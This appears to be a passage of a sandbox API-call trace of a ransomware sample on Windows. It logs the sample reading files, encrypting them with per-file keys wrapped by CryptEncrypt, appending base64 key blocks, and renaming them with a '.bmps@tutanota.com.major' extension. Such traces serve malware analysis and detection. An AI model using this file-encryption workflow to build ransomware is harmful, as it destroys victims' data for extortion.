pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.425] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="wKjNdEAIXxINZnzV3dmWOrZ2ri8nKBgLSdItG7fhP/VlseE1kwY3dVQzdHts2KfF\n2W82scfUXAnGfFBN8GBvj4qrGmaLh0zEQxmZGN/HWkvg+udwJz6meKo6ZZUjtRlb\ny28gVF63uYC+hoyWYhDneeqrsy3p2kEvrJzz7fxd77AmZJLh5zQ24wunjQlQdAxc\nnVVzWluYMYKX3hhHs/uF4O9aQaU9w6VJ4ztGNeC+BPdQmng4MHCdDtyvyOfimuWV\n5xqD1Vt9H8P0ocKcYABMSLF51IfcZMHC4lnotZnd7BtjNomooXFOOAv8/zM93VTm\nsmPTa9O7LAT4HcNycxylqw==\n", pcchString=0x2e3f9a8) returned 1 [0132.425] WriteFile (in: hFile=0x478, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.425] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.425] WriteFile (in: hFile=0x478, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.425] CloseHandle (hObject=0x478) returned 1 [0132.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.426] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), lpNewFileName="\\$GetCurrent\\SafeOS\\preoobe.cmd.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0132.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0132.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0132.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.428] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.428] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd", dwFileAttributes=0x80) returned 1 [0132.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0132.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0132.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0132.428] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0132.428] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=577) returned 1 [0132.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x241) returned 0x5b5a90 [0132.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x241) returned 0x5b5ce0 [0132.428] ReadFile (in: hFile=0x478, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x241, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x241, lpOverlapped=0x0) returned 1 [0132.447] SetFilePointer (in: hFile=0x478, lDistanceToMove=-577, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.447] WriteFile (in: hFile=0x478, lpBuffer=0x5b5ce0*, nNumberOfBytesToWrite=0x241, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5ce0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x241, lpOverlapped=0x0) returned 1 [0132.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ce0 | out: hHeap=0x570000) returned 1 [0132.448] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x241 [0132.448] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.448] WriteFile (in: hFile=0x478, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.448] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.448] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.448] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.448] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="txBqKlIcydIPE1WOA7zDy2ADhByyH2OCq0RN/ip4hmbidHNf+Q/9slthrt3E4CNi\nL16OYw/1sPyTNk4ZP/UKdzQ97+jc+T7iWtcpMJ9vzDiEPRjyzw5+UbeKpxBmhBaR\nBQjCUTiBzK35oBUTsuKCBHdN4WWwIK1uvwNTpPUWDJfKeH3qIEVF5cuE8R73Nd5o\nV7t9AkXNaiSTV4o1LP13TyqQDBY5PKdQc5EbPk6aqpQX7BvEunwMhK3Ba7XdD0+v\n8WAbPWOsyjTIWcj2axnZtbm6pYd8c763w4f2HLMpFWrA0v3EVuLki/PA6QV++X2I\n/GU5GxVEbj/SN2HOfWgfNw==\n", pcchString=0x2e3f9a8) returned 1 [0132.449] WriteFile (in: hFile=0x478, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.449] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.449] WriteFile (in: hFile=0x478, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.449] CloseHandle (hObject=0x478) returned 1 [0132.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.450] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), lpNewFileName="\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0132.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0132.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0132.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.451] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.451] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", dwFileAttributes=0x80) returned 1 [0132.508] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0132.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0132.509] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0132.509] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0132.509] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=156) returned 1 [0132.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9c) returned 0x2e40f20 [0132.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9c) returned 0x5a9008 [0132.509] ReadFile (in: hFile=0x478, lpBuffer=0x2e40f20, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40f20*, lpNumberOfBytesRead=0x2e3f9b4*=0x9c, lpOverlapped=0x0) returned 1 [0132.510] SetFilePointer (in: hFile=0x478, lDistanceToMove=-156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.510] WriteFile (in: hFile=0x478, lpBuffer=0x5a9008*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a9008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9c, lpOverlapped=0x0) returned 1 [0132.510] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0132.510] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0132.510] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9c [0132.510] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.510] WriteFile (in: hFile=0x478, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.510] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.510] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="y5uUNa9VhZpVteCbSKaKC6V1D6/s0qmAHKmkJ2/cVsN38h0BUtTFQtBcpkyNktV1\nzeOlTHKCBwwbTcGRmRFrD0GYsOqHTw++OLqRCxP/UVz6HFla1RI/G9a7uyPzJ+CS\nHGDxJhKn/3s2h70K9Eg6feRNR2lQfQvwSLiy7xe5asTQTfe7GNEQP100pkVxHA1D\ncjIUNx+DJNJg2yPEffzsBqK6M6FzlZrB/JB6Zp+NhVSm3oajOBenE1/1onyREI1x\ntNBAaqbu32oteJgxrt7TQn7XeHFcQ22Hdj7r/viPN4hk4XdOVmOrIclOJJCkoGr2\nypROU3e1LwI6HreDO4HWig==\n", pcchString=0x2e3f9a8) returned 1 [0132.511] WriteFile (in: hFile=0x478, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.511] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.511] WriteFile (in: hFile=0x478, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.511] CloseHandle (hObject=0x478) returned 1 [0132.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.512] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), lpNewFileName="\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.514] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.514] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.514] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0132.514] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0132.514] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0132.514] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.514] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.514] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll", dwFileAttributes=0x80) returned 1 [0132.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0132.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0132.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0132.592] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0132.592] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=144072) returned 1 [0132.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x232c8) returned 0x5d9840 [0132.592] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x232c8) returned 0x5fcb10 [0132.592] ReadFile (in: hFile=0x478, lpBuffer=0x5d9840, nNumberOfBytesToRead=0x232c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d9840*, lpNumberOfBytesRead=0x2e3f9b4*=0x232c8, lpOverlapped=0x0) returned 1 [0132.738] SetFilePointer (in: hFile=0x478, lDistanceToMove=-144072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.738] WriteFile (in: hFile=0x478, lpBuffer=0x5fcb10*, nNumberOfBytesToWrite=0x232c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5fcb10*, lpNumberOfBytesWritten=0x2e3f9b4*=0x232c8, lpOverlapped=0x0) returned 1 [0132.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d9840 | out: hHeap=0x570000) returned 1 [0132.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5fcb10 | out: hHeap=0x570000) returned 1 [0132.741] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x232c8 [0132.741] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.741] WriteFile (in: hFile=0x478, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.741] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.741] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.742] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.742] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="4uglO0myWLBQqd6NliO7LmO+NHjiJwrznd5TMSE90PcijwtY7vwI9UuA0e89kbx6\nOA9A0A7EfOUtnbal/Qcef4IT3qt+lByE4EXP9pOyAOorGUb+qEGXtWpnrvbv6PHk\nhGFf3tamJVPKvqAbXWPYW/PiLnhfLFqsDBPwZyk4O/Y/8lJQGdxpH4VRoFQxV630\nZBj5RqiSa9tV/qqy71OeWmSxKHZ43R/iQk63r8vVklAEE3XOoqLLtvY+Ve9Grxsi\nDmhNcZN/5TyhvMzsbKe01SxwU7o+UfqlWr1d2swZJKdUkFcULIMgKp4fCOtFJYsh\n2dXpzSCweVe9Oevb6zEnEQ==\n", pcchString=0x2e3f9a8) returned 1 [0132.742] WriteFile (in: hFile=0x478, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.742] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.742] WriteFile (in: hFile=0x478, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.743] CloseHandle (hObject=0x478) returned 1 [0132.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.745] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), lpNewFileName="\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.858] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.858] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.858] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0132.858] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0132.858] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.858] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0132.858] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab108 | out: hHeap=0x570000) returned 1 [0132.858] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0132.858] FindFirstFileW (in: lpFileName="\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xff7e9d4e, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3550 [0132.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0132.859] GetLastError () returned 0x0 [0132.859] SetLastError (dwErrCode=0x0) [0132.859] GetLastError () returned 0x0 [0132.859] SetLastError (dwErrCode=0x0) [0132.859] GetLastError () returned 0x0 [0132.859] SetLastError (dwErrCode=0x0) [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0132.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2e90 [0132.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2e90 | out: hHeap=0x570000) returned 1 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0132.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0132.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0132.859] FindNextFileW (in: hFindFile=0x5a3550, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xff7e9d4e, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0132.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0132.859] GetLastError () returned 0x0 [0132.859] SetLastError (dwErrCode=0x0) [0132.859] GetLastError () returned 0x0 [0132.859] SetLastError (dwErrCode=0x0) [0132.859] GetLastError () returned 0x0 [0132.859] SetLastError (dwErrCode=0x0) [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0132.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3150 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3150 | out: hHeap=0x570000) returned 1 [0132.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0132.860] FindNextFileW (in: hFindFile=0x5a3550, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0132.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0132.860] GetLastError () returned 0x0 [0132.860] SetLastError (dwErrCode=0x0) [0132.860] GetLastError () returned 0x0 [0132.860] SetLastError (dwErrCode=0x0) [0132.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 